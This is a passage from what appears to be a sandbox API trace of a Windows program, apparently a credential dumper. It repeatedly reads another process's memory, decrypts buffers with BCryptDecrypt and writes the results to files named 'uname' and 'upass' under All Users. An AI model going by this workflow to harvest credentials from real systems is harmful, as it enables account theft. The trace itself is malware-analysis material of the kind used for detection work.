lpNumberOfBytesRead=0x0) returned 1 [0062.594] IsTextUnicode (in: lpv=0x1d0460, iSize=18, lpiResult=0x12f9c0 | out: lpiResult=0x12f9c0) returned 1 [0062.594] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb4c0 [0062.594] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e5ab0, lpBuffer=0x1eb4c0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb4c0*, lpNumberOfBytesRead=0x0) returned 1 [0062.594] IsTextUnicode (in: lpv=0x1eb4c0, iSize=40, lpiResult=0x12f9c0 | out: lpiResult=0x12f9c0) returned 1 [0062.594] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0440 [0062.594] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x427250, lpBuffer=0x1d0440, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.594] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1d0440, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x12f998, cbIV=0x8, pbOutput=0x1d0440, cbOutput=0x18, pcbResult=0x12f9c8, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f998, pbOutput=0x1d0440, pcbResult=0x12f9c8) returned 0x0 [0062.594] IsTextUnicode (in: lpv=0x1d0440, iSize=18, lpiResult=0x12f9c0 | out: lpiResult=0x12f9c0) returned 1 [0062.594] GetLastError () returned 0x0 [0062.594] SetLastError (dwErrCode=0x0) [0062.594] GetLastError () returned 0x0 [0062.594] SetLastError (dwErrCode=0x0) [0062.594] GetLastError () returned 0x0 [0062.594] SetLastError (dwErrCode=0x0) [0062.594] AreFileApisANSI () returned 1 [0062.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.594] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0062.595] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.595] GetFileType (hFile=0x14c) returned 0x1 [0062.595] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f618, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f618*=65) returned 1 [0062.595] ReadFile (in: hFile=0x14c, lpBuffer=0x12f630, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f618, lpOverlapped=0x0 | out: lpBuffer=0x12f630*, lpNumberOfBytesRead=0x12f618*=0x1, lpOverlapped=0x0) returned 1 [0062.595] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f618, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f618*=0) returned 1 [0062.595] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.595] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.595] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f718, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f718*=66) returned 1 [0062.595] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=66) returned 1 [0062.595] WriteFile (in: hFile=0x14c, lpBuffer=0x12e310*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x12e300, lpOverlapped=0x0 | out: lpBuffer=0x12e310*, lpNumberOfBytesWritten=0x12e300*=0x16, lpOverlapped=0x0) returned 1 [0062.596] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.596] CloseHandle (hObject=0x14c) returned 1 [0062.597] GetLastError () returned 0xb7 [0062.597] SetLastError (dwErrCode=0xb7) [0062.597] AreFileApisANSI () returned 1 [0062.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.597] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0062.597] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.597] GetFileType (hFile=0x14c) returned 0x1 [0062.597] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f618, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f618*=32) returned 1 [0062.597] ReadFile (in: hFile=0x14c, lpBuffer=0x12f630, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f618, lpOverlapped=0x0 | out: lpBuffer=0x12f630*, lpNumberOfBytesRead=0x12f618*=0x1, lpOverlapped=0x0) returned 1 [0062.597] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f618, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f618*=0) returned 1 [0062.597] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.597] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f718, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f718*=33) returned 1 [0062.597] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=33) returned 1 [0062.598] WriteFile (in: hFile=0x14c, lpBuffer=0x12e310*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x12e300, lpOverlapped=0x0 | out: lpBuffer=0x12e310*, lpNumberOfBytesWritten=0x12e300*=0xb, lpOverlapped=0x0) returned 1 [0062.598] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.598] CloseHandle (hObject=0x14c) returned 1 [0062.598] LocalFree (hMem=0x1eb4c0) returned 0x0 [0062.598] LocalFree (hMem=0x1d0460) returned 0x0 [0062.598] LocalFree (hMem=0x1d0440) returned 0x0 [0062.598] LocalFree (hMem=0x1c9130) returned 0x0 [0062.598] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x1ee3a0 [0062.598] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7012c0, lpBuffer=0x12fc98, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc98*, lpNumberOfBytesRead=0x0) returned 1 [0062.599] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7300, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.599] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7150, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.599] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.599] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1c9130 [0062.599] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7150, lpBuffer=0x1c9130, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c9130*, lpNumberOfBytesRead=0x0) returned 1 [0062.599] ConvertSidToStringSidW () returned 0x1 [0062.599] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb4c0 [0062.599] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x416560, lpBuffer=0x1eb4c0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb4c0*, lpNumberOfBytesRead=0x0) returned 1 [0062.599] IsTextUnicode (in: lpv=0x1eb4c0, iSize=40, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.599] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0440 [0062.599] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429540, lpBuffer=0x1d0440, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.599] IsTextUnicode (in: lpv=0x1d0440, iSize=18, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.599] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0460 [0062.599] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429560, lpBuffer=0x1d0460, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, lpNumberOfBytesRead=0x0) returned 1 [0062.599] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1d0460, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x12f9d8, cbIV=0x8, pbOutput=0x1d0460, cbOutput=0x18, pcbResult=0x12fa08, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f9d8, pbOutput=0x1d0460, pcbResult=0x12fa08) returned 0x0 [0062.599] IsTextUnicode (in: lpv=0x1d0460, iSize=18, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.599] GetLastError () returned 0x0 [0062.599] SetLastError (dwErrCode=0x0) [0062.599] GetLastError () returned 0x0 [0062.599] SetLastError (dwErrCode=0x0) [0062.599] GetLastError () returned 0x0 [0062.599] SetLastError (dwErrCode=0x0) [0062.599] AreFileApisANSI () returned 1 [0062.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.599] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0062.600] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.600] GetFileType (hFile=0x14c) returned 0x1 [0062.600] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f658, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f658*=87) returned 1 [0062.600] ReadFile (in: hFile=0x14c, lpBuffer=0x12f670, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f658, lpOverlapped=0x0 | out: lpBuffer=0x12f670*, lpNumberOfBytesRead=0x12f658*=0x1, lpOverlapped=0x0) returned 1 [0062.600] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f658, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f658*=0) returned 1 [0062.600] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.600] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.600] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=88) returned 1 [0062.600] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f798, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f798*=88) returned 1 [0062.600] WriteFile (in: hFile=0x14c, lpBuffer=0x12e350*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x12e340, lpOverlapped=0x0 | out: lpBuffer=0x12e350*, lpNumberOfBytesWritten=0x12e340*=0x16, lpOverlapped=0x0) returned 1 [0062.600] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.600] CloseHandle (hObject=0x14c) returned 1 [0062.601] GetLastError () returned 0xb7 [0062.601] SetLastError (dwErrCode=0xb7) [0062.601] AreFileApisANSI () returned 1 [0062.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.601] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0062.601] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.601] GetFileType (hFile=0x14c) returned 0x1 [0062.601] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f658, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f658*=43) returned 1 [0062.601] ReadFile (in: hFile=0x14c, lpBuffer=0x12f670, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f658, lpOverlapped=0x0 | out: lpBuffer=0x12f670*, lpNumberOfBytesRead=0x12f658*=0x1, lpOverlapped=0x0) returned 1 [0062.601] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f658, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f658*=0) returned 1 [0062.602] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.602] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.602] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=44) returned 1 [0062.602] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f798, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f798*=44) returned 1 [0062.602] WriteFile (in: hFile=0x14c, lpBuffer=0x12e350*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x12e340, lpOverlapped=0x0 | out: lpBuffer=0x12e350*, lpNumberOfBytesWritten=0x12e340*=0xb, lpOverlapped=0x0) returned 1 [0062.602] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.602] CloseHandle (hObject=0x14c) returned 1 [0062.603] LocalFree (hMem=0x1eb4c0) returned 0x0 [0062.603] LocalFree (hMem=0x1d0440) returned 0x0 [0062.603] LocalFree (hMem=0x1d0460) returned 0x0 [0062.603] LocalFree (hMem=0x1c9050) returned 0x0 [0062.603] LocalFree (hMem=0x1c9130) returned 0x0 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca42840, lpBuffer=0x12fba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fba0*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e4590, lpBuffer=0x12fae0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fae0*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407610, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] LocalFree (hMem=0x1ef780) returned 0x0 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e9350, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f8410, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] LocalFree (hMem=0x1ef780) returned 0x0 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4166b0, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d490, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] LocalFree (hMem=0x1ef780) returned 0x0 [0062.603] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x1e10d0 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d490, lpBuffer=0x1e10d0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1e10d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.603] ConvertSidToStringSidW () returned 0x1 [0062.603] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb4c0 [0062.603] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x416660, lpBuffer=0x1eb4c0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb4c0*, lpNumberOfBytesRead=0x0) returned 1 [0062.604] IsTextUnicode (in: lpv=0x1eb4c0, iSize=40, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.604] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0460 [0062.604] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429440, lpBuffer=0x1d0460, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, lpNumberOfBytesRead=0x0) returned 1 [0062.604] IsTextUnicode (in: lpv=0x1d0460, iSize=18, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.604] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0440 [0062.604] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4294a0, lpBuffer=0x1d0440, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.604] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1d0440, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x12f8f8, cbIV=0x8, pbOutput=0x1d0440, cbOutput=0x18, pcbResult=0x12f928, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f8f8, pbOutput=0x1d0440, pcbResult=0x12f928) returned 0x0 [0062.604] IsTextUnicode (in: lpv=0x1d0440, iSize=18, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.604] GetLastError () returned 0x0 [0062.604] SetLastError (dwErrCode=0x0) [0062.604] GetLastError () returned 0x0 [0062.604] SetLastError (dwErrCode=0x0) [0062.604] GetLastError () returned 0x0 [0062.604] SetLastError (dwErrCode=0x0) [0062.604] AreFileApisANSI () returned 1 [0062.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.604] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0062.604] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f608, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.604] GetFileType (hFile=0x14c) returned 0x1 [0062.604] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f578, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f578*=109) returned 1 [0062.605] ReadFile (in: hFile=0x14c, lpBuffer=0x12f590, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f578, lpOverlapped=0x0 | out: lpBuffer=0x12f590*, lpNumberOfBytesRead=0x12f578*=0x1, lpOverlapped=0x0) returned 1 [0062.605] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f578, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f578*=0) returned 1 [0062.605] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.605] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e1210 [0062.605] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f678, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f678*=110) returned 1 [0062.605] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f6b8, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f6b8*=110) returned 1 [0062.605] WriteFile (in: hFile=0x14c, lpBuffer=0x12e270*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x12e260, lpOverlapped=0x0 | out: lpBuffer=0x12e270*, lpNumberOfBytesWritten=0x12e260*=0x16, lpOverlapped=0x0) returned 1 [0062.605] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e1210 | out: hHeap=0x1a0000) returned 1 [0062.605] CloseHandle (hObject=0x14c) returned 1 [0062.606] GetLastError () returned 0xb7 [0062.606] SetLastError (dwErrCode=0xb7) [0062.606] AreFileApisANSI () returned 1 [0062.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.606] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0062.606] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f608, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.606] GetFileType (hFile=0x14c) returned 0x1 [0062.606] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f578, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f578*=54) returned 1 [0062.606] ReadFile (in: hFile=0x14c, lpBuffer=0x12f590, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f578, lpOverlapped=0x0 | out: lpBuffer=0x12f590*, lpNumberOfBytesRead=0x12f578*=0x1, lpOverlapped=0x0) returned 1 [0062.606] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f578, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f578*=0) returned 1 [0062.606] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.607] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e1210 [0062.607] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f678, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f678*=55) returned 1 [0062.607] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f6b8, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f6b8*=55) returned 1 [0062.607] WriteFile (in: hFile=0x14c, lpBuffer=0x12e270*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x12e260, lpOverlapped=0x0 | out: lpBuffer=0x12e270*, lpNumberOfBytesWritten=0x12e260*=0xb, lpOverlapped=0x0) returned 1 [0062.607] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e1210 | out: hHeap=0x1a0000) returned 1 [0062.607] CloseHandle (hObject=0x14c) returned 1 [0062.608] LocalFree (hMem=0x1eb4c0) returned 0x0 [0062.608] LocalFree (hMem=0x1d0460) returned 0x0 [0062.608] LocalFree (hMem=0x1d0440) returned 0x0 [0062.608] LocalFree (hMem=0x1c9050) returned 0x0 [0062.608] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8f78d0, lpBuffer=0x12fc80, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4199c0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419f70, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419d00, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419b60, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419750, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419340, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4190d0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x406b90, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a3470, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.608] ReadProcessMemory (in: 